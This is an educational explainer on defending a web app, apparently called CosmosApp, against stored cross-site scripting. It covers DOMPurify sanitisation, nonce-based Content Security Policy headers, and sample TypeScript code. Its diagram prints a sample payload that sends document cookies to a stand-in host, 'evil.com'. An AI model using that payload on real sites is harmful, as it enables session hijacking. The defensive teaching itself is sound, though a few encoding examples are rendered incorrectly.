Cross-Site Scripting (XSS) Defenses: Context-Aware Output Encoding & Content Security Policy (CSP)
Cross-Site Scripting (XSS) allows attackers to execute malicious JavaScript in a victim's browser context, enabling DOM manipulation, keystroke logging, and session impersonation. Comprehensive defense requires context-aware output encoding (HTML, attribute, JS contexts) and a strict Content Security Policy (CSP) with cryptographic nonces.
Step 1: Application receives user input and stores it safely in parameter-bound database columns.
Web applications process user-supplied input (comments, markdown notes, profiles). If unescaped HTML or script tags are rendered into the DOM, the browser executes the attacker's payload with the full authority and permissions of the legitimate user.
The Intercom Filter & Guard Station: If an intruder shouts malicious verbal commands through your apartment intercom, context encoding converts the speech into inert text so the smart home system doesn't accidentally execute 'Unlock the front door'. Content Security Policy is the physical guard stationed at your router who shoots down any unauthorized network cable plugged into your wall.
[ Attacker Payload: <script>fetch('evil.com?c=' + document.cookie)</script> ]
│
▼ (Stored in database comment)
[ Vulnerable Application ]: Directly writes to innerHTML ──► SCRIPT EXECUTES!
│
[ Hardened CosmosApp Application ]:
├── Layer 1: Context-Aware HTML Encoding (DOMPurify / Escaping)
│ Transforms to: <script>...</script> (Rendered safely as text)
│
└── Layer 2: Content Security Policy (CSP)
script-src 'self' 'nonce-rAnd0m123';
Browser BLOCKS unauthorized inline scripts and external exfiltration!CosmosApp allows team members to format notes using rich Markdown. To eliminate Stored XSS, CosmosApp sanitizes all generated HTML using DOMPurify with an aggressive allowlist, and sets a strict HTTP Content-Security-Policy header using per-request cryptographic nonces, preventing any unauthorized inline script execution.
Step 1: Application receives user input and stores it safely in parameter-bound database columns.
Step 2: Before rendering untrusted content, the application identifies the output context (HTML body, attribute, URL, JavaScript).
Step 3: Output encoding is applied specifically for that context (e.g. converting '<' to '<').
Step 4: Server generates a unique cryptographic nonce per HTTP request.
Step 5: Server includes the nonce in the Content-Security-Policy header: script-src 'self' 'nonce-...'.
Step 6: Browser verifies script tags against the nonce; any injected script without the matching nonce is blocked.
import DOMPurify from 'isomorphic-dompurify';
// CosmosApp Safe HTML Sanitization & CSP Headers:
export function sanitizeUserHtml(dirtyHtml: string): string {
return DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
}
export function generateCspHeader(nonce: string): string {
return [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.cosmos.app`,
`frame-ancestors 'none'`,
`base-uri 'self'`,
].join('; ');
}- ✕HTML escaping alone protects against XSS in all contexts (Escaping '<' and '>' does not protect inside href attributes or inline JavaScript contexts like onclick).
- ✕CSP replaces input sanitization (CSP is a secondary defense-in-depth layer; output encoding and sanitization remain mandatory).
Key Architectural Takeaways
- ✓Always perform context-aware output encoding when rendering user-controlled data into HTML.
- ✓Deploy a strict Content Security Policy (CSP) using cryptographic nonces to neutralize injected scripts.
- ✓Sanitize rich HTML content using hardened libraries like DOMPurify.
Using dangerouslySetInnerHTML in React or element.innerHTML without prior cryptographic sanitization.
Use safe React text nodes or sanitize untrusted HTML using DOMPurify before rendering.
Why does a nonce-based Content Security Policy (CSP) successfully prevent stored XSS attacks from executing?